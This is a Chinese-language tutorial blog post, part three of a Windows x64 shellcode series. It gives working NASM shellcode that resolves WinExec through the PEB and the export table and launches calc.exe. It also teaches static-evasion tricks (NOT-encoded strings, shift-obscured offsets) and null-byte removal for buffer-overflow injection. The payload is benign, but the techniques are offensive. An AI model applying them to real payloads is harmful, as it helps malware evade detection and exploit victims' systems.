WIndows x64 ShellCode开发 第三章 x64汇编细节点

文章目录

WIndows x64 ShellCode开发 第三章 x64汇编细节点

在ShellCode开发中原生无更改的ShellCode特征没有隐藏,并且还存在一些影响稳定性的因素,这一篇就x64编写ShellCode的细节进行探究。

一、位命令消除编译链接产生的字符串

strings命令查看一下我们前面章节弹calc计算器的ShellCode,发现很明显的存在两个字符串,WinExeccalc.exe,这让我们的ShellCode在静态规避方面是十分弱势的,但是我们可以使用汇编中的位命令进行消除与规避。

复制代码
strings winexec.exe

我们使用NOT(按位取反)命令,在汇编存储的时候使用编码值,运行时执行not rax

复制代码
mov rax,字符串Hex
	|
	|
	↓
mov rax,字符串Hex的NOT编码值
not rax

实例(我们可以用WIndows带的计算器进行编码运算)

复制代码
mov rax,0xFF9C9A87BA9196A8     ; WinExec\0 编码值
not rax

mov rax,0x9A879AD19C939E9C    ;  calc.exe 编码值
not rax

汇编代码

asm 复制代码
BITS 64
SECTION .text
global main

main:
    sub rsp, 0x28
    and rsp, 0xFFFFFFFFFFFFFFF0          ; x64 必须 16 字节对齐

    xor rcx, rcx
    mov rax, [gs:0x60]            		 ; PEB
    mov rax, [rax + 0x18]                ; PEB->Ldr
    mov rsi, [rax + 0x10]				; 加载顺序模块链表地址
    mov rsi, [rsi]
    mov rsi, [rsi]
    mov rbx, [rsi + 0x30]                ; kernel32.dll base
    mov r8, rbx

    mov ebx, [rbx + 0x3C]
    add rbx, r8
    mov edx,[rbx+0x88]		; PE头+可选头的偏移0x88处是"导出表数据目录项"
    add rdx, r8
    mov r10d, [rdx + 0x14]
    xor r11, r11
    mov r11d, [rdx + 0x20]
    add r11, r8
    mov rcx, r10
    mov rax, 0xFF9C9A87BA9196A8          ; ← 计算器算出的 NOT("WinExec\0")
    not rax                              ; 解码 → "WinExec\0"
    push rax
    mov rdi, rsp                    
    add rsp, 8                          

kernel32findfunction:
    jecxz FunctionNameNotFound
    xor ebx, ebx
    mov ebx, [r11 + rcx*4]
    add rbx, r8
    dec rcx
    mov r9, qword [rdi]                  ; 用 rdi 比较
    cmp [rbx], r9
    jz FunctionNameFound
    jnz kernel32findfunction

FunctionNameNotFound:
    int3

FunctionNameFound:
    inc ecx
    xor r11, r11
    mov r11d, [rdx + 0x1c]
    add r11, r8
    mov r15d, [r11 + rcx*4]
    add r15, r8                          ; r15 = WinExec 地址

    xor rax, rax
    push rax                             ; 先压 \0
    mov rax, 0x9A879AD19C939E9C          ; ← 计算器算出的 NOT("calc.exe")
    not rax                              ; 解码 → "calc.exe"
    push rax
    mov rcx, rsp                         ; rcx = "calc.exe\0"
	mov rdx,1                        
    sub rsp, 0x30                        
    call r15                             
复制代码
nasm.exe -f win64 winexec.asm
gcc -m64 -o winexec.exe winexec.obj -lkernel32 -nostartfiles

编译链接后再用Strings查看winexec.exe的字符串

复制代码
strings winexec.exe

可以发现没有任何的输出,这就说明我们成功移除了汇编编译链接后产生的字符串

二、隐藏硬编码偏移
asm 复制代码
xor rcx, rcx       ; rcx = 0
mov cl, 0x11       ; cl = 0x11 (低8位)
shl rcx, 3         ; 0x11 << 3 = 0x88 (左移3位 = 乘以8)
mov edx, [rbx + rcx] ; edx = [rbx + 0x88]
asm 复制代码
mov edx,[rbx+0x88] 	; PE头+可选头的偏移0x88处是"导出表数据目录项"

两者执行结果一致,但是前一个命令利用移位指令隐藏了[访问 0x88 偏移]的硬编码

三、移除零坏字符

当我们使用一些汇编指令的时候,最终会在代码中产生不少的空字节,如果我们将ShellCode应用在缓冲区溢出处,代码中存在的\x00会直接被截断导致程序错误,再一个就是当进行字符串复制等操作时,函数一旦遇到\x00直接停止,整个程序也会崩溃。

下面则讲一下最常见的汇编处理方法

  1. 寄存器清零操作

    asm 复制代码
    mov eax, 0	; 	原始写法
    asm 复制代码
    xor rax, rax	; 消除写法
  2. 设置小整数1操作

    asm 复制代码
    mov edx, 1	; 原始写法
    asm 复制代码
    xor rdx, rdx
    inc rdx		; 消除写法
  3. 无用跳转命令

    asm 复制代码
    js label1	; 如果说标签就在下一行命令就不用写多余的跳转命令了
    jmp label2	; ,写了反而增加多余的零字符
  4. 字符串结尾NULL终止符

    asm 复制代码
    mov rax,0x00636578456E6957	; 原始写法,有00
    asm 复制代码
    mov rax, 0x90636578456E6957
    shl rax, 0x8
    shr rax, 0x8	; 先用0x90占位,然后右移两次复原
  5. 导出表偏移(0x88)

    asm 复制代码
    mov edx, [rbx + 0x88]	; 原始写法
    asm 复制代码
    xor rcx, rcx
    add cx, 0x88ff
    shr rcx, 0x8				; 消除写法,不直接写0x88,
    mov edx, [rbx + rcx]		; 先写16位的0x88ff,再进行移位指令
相关推荐
菩提小狗3 小时前
每日安全情报报告 · 2026-04-21
网络安全·漏洞·cve·安全情报·每日安全
сокол4 小时前
【网安-应急响应-基础记录】Windows入侵排查
windows·web安全·网络安全·系统安全
Bruce_Liuxiaowei4 小时前
Windows防火墙规则导出工具:让安全配置可备份、可迁移、可审计
运维·windows·安全·网络安全
x***r1515 小时前
Postman-win64-7.3.5-Setup安装步骤详解(附接口测试入门教程)
windows
无名咸鱼6 小时前
cursor节省token工具-RTK (windows安装)
windows
dLYG DUMS6 小时前
SQLMAP的下载安装和使用(Windows)
windows
十五年专注C++开发7 小时前
MobaXterm:Windows 远程工作全能工具箱
linux·windows·mobaxterm
Y学院7 小时前
虚拟机安装ParrotOS完整教程(VMware+VirtualBox双版本)
安全·网络安全
eRRA OFAG9 小时前
Windows 上彻底卸载 Node.js
windows·node.js
程序猿编码9 小时前
给Linux程序穿“隐身衣”——ELF运行时加密器全解析(C/C++代码实现)
linux·c语言·c++·网络安全·elf·内存安全